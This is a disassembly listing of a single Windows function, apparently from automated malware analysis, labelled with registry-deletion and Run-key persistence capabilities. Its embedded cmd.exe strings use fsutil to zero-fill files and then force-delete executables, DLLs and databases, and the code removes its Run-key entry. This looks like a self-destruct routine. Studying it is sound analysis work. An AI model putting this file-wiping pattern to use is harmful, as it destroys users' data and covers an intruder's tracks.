Function at 0x477850
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d3e6
mov eax, dword fs:[0]
push eax
mov eax, 0x11e4
call fcn.005379c0
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, cl
mov edx, 0x5fefc8
mov dword [ebp - 0x11d8], 0
xor eax, eax
mov dword [ebp - 0x11d4], 7
mov word [ebp - 0x11e8], ax
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4778a7
sub edx, ecx
lea ecx, [ebp - 0x11e8]
sar edx, 1
push edx
push 0x5fefc8
call fcn.0044b750
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
mov byte [ebp - 4], 1
test bl, bl
je 0x477956
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5ff1d0
lea eax, [ebp - 0x9e8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044b750
lea ecx, [ebp - 0x9e8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x477940
lea eax, [ebp - 0x9e8]
jmp 0x477a81
push 0x5ff1d0
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0055a846
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x11ec]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x4779d4
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x11ec]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call ebx
test eax, eax
jne 0x477a19
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x5fefc8
call fcn.004715f0
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5ff1d0
lea eax, [ebp - 0x11b8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.ini_.dll_.bat_.db
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044b750
lea ecx, [ebp - 0x11b8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x477a70
lea eax, [ebp - 0x11b8]
sub ecx, edx
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x11d0]
call fcn.00453360
push 1
push 0x5e31e4
lea ecx, [ebp - 0x11d0]
call fcn.00453360
cmp dword [ebp - 0x11bc], 8
lea ecx, [ebp - 0x11d0]
push 0x2710
cmovae ecx, dword [ebp - 0x11d0]
xor edx, edx
push 0
call fcn.004760a0
mov edx, dword [ebp - 0x11bc]
add esp, 8
cmp edx, 8
jb 0x477b09
mov ecx, dword [ebp - 0x11d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x477aff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477b7c
push edx
push ecx
call fcn.00537216
add esp, 8
mov edx, dword [ebp - 0x11d4]
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
cmp edx, 8
jb 0x477b62
mov ecx, dword [ebp - 0x11e8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x477b58
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477b81
push edx
push ecx
call fcn.00537216
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
call fcn.00552cb1
int3